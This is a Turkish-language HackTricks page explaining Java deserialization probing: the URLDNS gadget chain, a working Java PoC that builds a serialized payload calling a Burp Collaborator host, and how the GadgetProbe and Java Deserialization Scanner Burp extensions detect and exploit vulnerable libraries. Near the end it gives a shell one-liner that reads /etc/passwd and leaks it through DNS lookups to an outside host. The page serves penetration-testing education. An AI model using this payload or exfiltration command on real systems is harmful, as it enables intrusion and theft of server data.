11 KiB
Java DNS Deserialization, GadgetProbe ve Java Deserialization Tarayıcısı
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Deserializasyonda DNS isteği
java.net.URL
sınıfı Serializable
arayüzünü uygular, bu da bu sınıfın seri hale getirilebileceği anlamına gelir.
public final class URL implements java.io.Serializable {
Bu sınıfın ilginç bir davranışı vardır. Dokümantasyona göre: "İki ana bilgisayar, her iki ana bilgisayar adı da aynı IP adreslerine çözümlenebilirse eşit kabul edilir".
Bu nedenle, bir URL nesnesi equals
veya hashCode
fonksiyonlarından herhangi birini çağırdığında IP adresini almak için bir DNS isteği gönderilecektir.
Bir URL nesnesinden hashCode
fonksiyonunu çağırmak oldukça kolaydır, yeterli olan bu nesneyi bir HashMap
içine yerleştirmektir ve bu HashMap
deserialize edilecektir. Bu, HashMap
'in readObject
fonksiyonunun sonunda bu kodun çalıştırılmasından dolayıdır:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Bu, HashMap
içindeki her değerle birlikte putVal
'i çalıştıracak. Ancak, daha önemli olan her değerle hash
'in çağrılmasıdır. İşte hash
fonksiyonunun kodu:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Gözlemleyebileceğiniz gibi, bir HashMap
nesnesini serileştirirken, hash
işlevi her nesneyle birlikte çalıştırılacak ve hash
işlevinin nesnenin .hashCode()
'unu çalıştıracağı sırada çalıştırılacaktır. Bu nedenle, bir URL nesnesi içeren bir HashMap
nesnesini serileştirirseniz, URL nesnesi .hashCode()
'u çalıştıracaktır.
Şimdi, URLObject.hashCode()
koduna bir göz atalım:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Gördüğünüz gibi, bir URLObject
nesnesi .hashCode()
işlemini gerçekleştirdiğinde hashCode(this)
olarak adlandırılır. Devamında bu fonksiyonun kodunu görebilirsiniz:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Aşağıdaki kod örneğinde, bir DNS sorgusu başlatmak için bir getHostAddress
çalıştırıldığını görebilirsiniz.
Bu nedenle, bu sınıf, deserializasyonun mümkün olduğunu göstermek veya hatta bilgi sızdırmak için kötüye kullanılabilir (bir komutun çıktısını alt alan adına ekleyebilirsiniz).
URLDNS payload kod örneği
ysoserial'dan URDNS payload kodunu burada bulabilirsiniz. Ancak, nasıl kodlanacağını daha iyi anlamanız için kendi PoC'umu (ysoserial'dan alınan bir temel üzerine) oluşturdum.
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Daha fazla bilgi
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- Orijinal fikirde, commons collections payload'u DNS sorgusu yapmak için değiştirildi, bu, önerilen yöntemden daha güvenilir değildi, ancak bu yazıda yer alıyor: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
**GadgetProbe'**i Burp Suite Uygulama Mağazası'ndan (Extender) indirebilirsiniz.
GadgetProbe, sunucunun Java sınıfında bazı Java sınıflarının var olup olmadığını belirlemeye çalışacak, böylece bilinen bir saldırıya karşı savunmasız olup olmadığını bilebilirsiniz.
Nasıl çalışır
GadgetProbe, önceki bölümdeki DNS payload'ını kullanacak, ancak DNS sorgusunu çalıştırmadan önce bir keyfi sınıfı deserialize etmeye çalışacak. Eğer keyfi sınıf varsa, DNS sorgusu gönderilecek ve GadgetProbe bu sınıfın var olduğunu belirtecektir. Eğer DNS isteği hiç gönderilmezse, bu, keyfi sınıfın başarılı bir şekilde deserialize edilmediği anlamına gelir, bu da ya mevcut değil ya da serileştirilemez/sömürülemez.
Github içinde, GadgetProbe'un bazı kelime listeleri test edilmek üzere Java sınıfları içerir.
Daha Fazla Bilgi
Java Deserialization Tarayıcı
Bu tarayıcı, Burp App Store'dan (Extender) indirilebilir. Bu uzantı, pasif ve aktif yeteneklere sahiptir.
Pasif
Varsayılan olarak, Java serileştirilmiş sihirli baytları arayan ve bulunan herhangi bir durumda bir güvenlik uyarısı sunan tüm istekleri ve yanıtları pasif olarak kontrol eder:
Aktif
Elle Test
Bir isteği seçebilir, sağ tıklayabilir ve DS - Manual Testing'e isteği gönder
seçebilirsiniz.
Ardından, Deserialization Scanner Tab --> Manual testing tab içinde ekleme noktasını seçebilir ve testi başlatabilirsiniz (Kullanılan kodlamaya bağlı olarak uygun saldırıyı seçin).
Bu "Elle test" olarak adlandırılsa da oldukça otomatiktir. Web sunucusunda bulunan kütüphaneleri kontrol ederek serileştirmenin herhangi bir ysoserial payload'ına karşı savunmasız olup olmadığını otomatik olarak kontrol eder ve savunmasız olanları vurgular. Savunmasız kütüphaneleri kontrol etmek için Javas Sleeps, CPU tüketimi yoluyla sleeps veya daha önce bahsedildiği gibi DNS kullanmayı seçebilirsiniz.
Sömürme
Savunmasız bir kütüphane tespit ettikten sonra isteği Exploiting Tab'a gönderebilirsiniz. Bu sekmede, enjeksiyon noktasını tekrar seçmeniz, oluşturmak istediğiniz savunmasız kütüphaneyi ve komutu yazmanız gerekmektedir. Ardından, uygun Attack düğmesine basmanız yeterlidir.
Java Deserialization DNS Exfil bilgisi
Payload'unuzun aşağıdaki gibi bir şeyi çalıştırmasını sağlayın:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Daha Fazla Bilgi
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.